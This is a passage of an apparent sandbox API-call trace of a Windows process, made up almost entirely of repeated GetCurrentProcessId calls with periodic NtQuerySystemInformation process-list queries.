GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.068] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 [0302.069] GetCurrentProcessId () returned 0x10c0 Thread: id = 236 os_tid = 0x9d4 [0150.921] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0150.921] RoInitialize () returned 0x1 [0150.921] RoUninitialize () returned 0x0 [0151.066] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d240) returned 0x0 [0151.608] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d1f0) returned 0x0 [0152.165] GetCurrentProcessId () returned 0x10c0 [0152.165] GetCurrentProcessId () returned 0x10c0 [0152.165] GetCurrentProcessId () returned 0x10c0 [0152.165] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.166] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.167] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.168] GetCurrentProcessId () returned 0x10c0 [0152.169] GetCurrentProcessId () returned 0x10c0 [0152.169] GetCurrentProcessId () returned 0x10c0 [0152.169] GetCurrentProcessId () returned 0x10c0 [0152.169] GetCurrentProcessId () returned 0x10c0 [0152.169] GetCurrentProcessId () returned 0x10c0 [0152.169] GetCurrentProcessId () returned 0x10c0 [0152.169] GetCurrentProcessId () returned 0x10c0 [0152.169] GetCurrentProcessId () returned 0x10c0 [0152.169] GetCurrentProcessId () returned 0x10c0 [0152.169] GetCurrentProcessId () returned 0x10c0 [0152.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d240) returned 0x0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0153.790] GetCurrentProcessId () returned 0x10c0 [0154.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d2e0) returned 0x0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.314] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.315] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.316] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.317] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.318] GetCurrentProcessId () returned 0x10c0 [0154.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d2e0) returned 0x0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.865] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.866] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.867] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.868] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0154.869] GetCurrentProcessId () returned 0x10c0 [0155.383] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d2e0) returned 0x0 [0155.394] GetCurrentProcessId () returned 0x10c0 [0155.394] GetCurrentProcessId () returned 0x10c0 [0155.394] GetCurrentProcessId () returned 0x10c0 [0155.394] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.395] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.396] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.397] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.398] GetCurrentProcessId () returned 0x10c0 [0155.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d2e0) returned 0x0 [0155.939] GetCurrentProcessId () returned 0x10c0 [0155.939] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0155.940] GetCurrentProcessId () returned 0x10c0 [0156.445] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d380) returned 0x0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 